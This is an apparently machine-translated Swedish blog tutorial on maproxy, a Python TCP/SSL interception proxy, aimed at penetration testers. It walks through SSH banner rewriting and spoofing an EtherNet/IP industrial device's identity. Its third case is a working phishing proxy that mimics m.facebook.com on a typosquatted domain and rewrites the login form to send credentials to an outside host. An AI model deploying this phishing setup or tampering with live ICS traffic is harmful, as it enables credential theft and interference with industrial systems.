Översättningen av artikeln förbereddes strax före kursstart
abstrakt
En mängd olika typer av säkerhetsbedömningar, allt från regelbundna penetrationstester och Red Team-operationer till att hacka IoT/ICS-enheter och SCADA, involverar att arbeta med binära nätverksprotokoll, det vill säga att i huvudsak fånga upp och modifiera nätverksdata mellan klienten och målet. Att sniffa nätverkstrafik är inte en svår uppgift eftersom vi har verktyg som Wireshark, Tcpdump eller Scapy, men modifiering verkar vara en mer arbetskrävande uppgift eftersom vi kommer att behöva ha någon form av gränssnitt för att läsa nätverksdata, filtrera den, ändra den i farten och skicka tillbaka den till målvärden i nästan realtid. Dessutom skulle det vara idealiskt om ett sådant verktyg automatiskt kunde fungera med flera parallella anslutningar och vara anpassningsbart med hjälp av skript.
En dag upptäckte jag ett verktyg som heter
, dokumentationen gjorde det snabbt klart för mig att maproxy
– precis vad jag behöver. Detta är en ganska enkel, mångsidig och lätt konfigurerbar TCP-proxy. Jag testade det här verktyget på flera ganska komplexa applikationer, inklusive ICS-enheter (som genererar många paket) för att se om det kunde hantera många parallella anslutningar, och verktyget fungerade bra.
Den här artikeln kommer att introducera dig till att bearbeta nätverksdata i farten med hjälp av maproxy
.
Обзор
Verktyg maproxy
är baserad på Tornado, ett populärt och moget asynkront nätverksramverk i Python.
I allmänhet kan den fungera i flera lägen:
TCP:TCP
– okrypterade TCP-anslutningar;TCP:SSL
иSSL:TCP
– med envägskryptering;SSL:SSL
– tvåvägs kryptering.
Det kommer som ett bibliotek. För en snabbstart kan du använda exempelfiler som återspeglar det huvudsakliga
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Fall 1 – enkel dubbelriktad proxy
Baserat på tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Som standard ProxyServer()
tar två argument – anslutningsplatsen och målporten. server.listen()
tar ett argument - porten för att lyssna på den inkommande anslutningen.
Utför skriptet:
# python tcp2tcp.py
För att köra testet kommer vi att ansluta till en lokal SSH-server via vårt proxyskript, som lyssnar på 2222/tcp
port och ansluts till en standardport 22/tcp
SSH-servrar:
Välkomstbannern informerar dig om att vårt exempelskript har framgångsrikt proxyserverat nätverkstrafik.
Fall 2 – datamodifiering
Ännu ett demoskript logging_proxy.py
idealisk för att interagera med nätverksdata. Kommentarerna i filen beskriver klassmetoderna som du kan ändra för att uppnå ditt mål:
Det mest intressanta är här:
on_c2p_done_read
– att fånga upp data längs vägen från klienten till servern;on_p2s_done_read
- omvänt.
Låt oss försöka ändra SSH-bannern som servern returnerar till klienten:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Kör skriptet:
Som du kan se blev klienten vilseledd eftersom SSH-servernamnet för honom ändrades till «DumnySSH»
.
Fall 3 – enkel webbsida för nätfiske
Det finns oändliga sätt att använda detta verktyg. Låt oss den här gången fokusera på något mer praktiskt från Red Team operations sida. Låt oss imitera målsidan m.facebook.com
och använd en anpassad domän med ett avsiktligt stavfel, till exempel, m.facebok.com
. För demonstrationsändamål, låt oss bara anta att domänen är registrerad av oss.
Vi kommer att upprätta en okrypterad nätverksanslutning med våra offer proxy och SSL Stream till Facebook-servern (31.13.81.36
). För att få det här exemplet att fungera måste vi byta ut HTTP-värdhuvudet och injicera rätt värdnamn, och vi kommer också att inaktivera svarskomprimering så att vi enkelt kan komma åt innehållet. I slutändan kommer vi att ersätta HTML-formuläret så att inloggningsuppgifterna skickas till oss istället för Facebooks servrar:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/sv/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Sammanfattningsvis:
Som du kan se lyckades vi ersätta den ursprungliga webbplatsen.
Fall 4 – Portering av Ethernet/IP
Jag har sysslat med industriella enheter och mjukvara (ICS/SCADA) ganska länge, såsom programmerbara styrenheter (PLC), I/O-moduler, frekvensomriktare, reläer, stegprogrammeringsmiljöer och många fler. Detta fodral är för dig som gillar industriella saker. Att hacka sådana lösningar innebär att man aktivt spelar med nätverksprotokoll. I följande exempel skulle jag vilja visa hur du kan ändra ICS/SCADA-nätverkstrafik.
För att göra detta behöver du följande:
- Nätverkssniffer, till exempel Wireshark;
- Ethernet/IP eller bara en SIP-enhet, du kan hitta den med Shodan-tjänsten;
- Vårt manus bygger på
maproxy
.
Låt oss först titta på hur ett typiskt identifieringssvar från CIP (Common Industrial Protocol) ser ut:
Enhetsidentifiering åstadkoms med hjälp av Ethernet/IP-protokollet, som är en förbättrad version av det industriella Ethernet-protokollet som omsluter kontrollprotokoll som CIP. Vi kommer att ändra det markerade ID-namnet som är synligt på skärmdumpen "NI-IndComm för Ethernet" med vårt proxyskript. Vi skulle kunna återanvända skriptet logging_proxy.py
och på liknande sätt modifiera klassmetoden on_p2s_done_read
, eftersom vi vill att ett annat identitetsnamn ska vara synligt på klienten.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
I huvudsak bad vi om enhetsidentifiering två gånger, det andra svaret var det ursprungliga och det första modifierades i farten.
Och den sista
Enligt min åsikt maproxy
Ett bekvämt och enkelt verktyg, som också är skrivet i Python, så jag tror att du också kan ha nytta av att använda det. Naturligtvis finns det mer komplexa verktyg för att bearbeta och modifiera nätverksdata, men de kräver också mer uppmärksamhet och är vanligtvis skapade för ett specifikt användningsfall, t.ex. maproxy
du kan snabbt implementera dina idéer för att fånga upp nätverksdata, eftersom exempelskripten är mycket tydliga.
Källa: will.com